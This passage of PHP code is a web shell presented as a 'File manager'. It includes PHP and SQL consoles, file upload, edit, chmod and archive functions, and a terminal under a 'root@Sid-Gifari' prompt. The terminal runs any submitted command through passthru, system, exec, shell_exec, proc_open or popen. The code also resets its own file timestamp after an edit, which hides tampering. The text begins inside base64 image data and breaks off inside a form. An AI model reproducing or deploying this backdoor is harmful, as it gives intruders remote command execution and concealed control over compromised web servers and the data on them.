6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
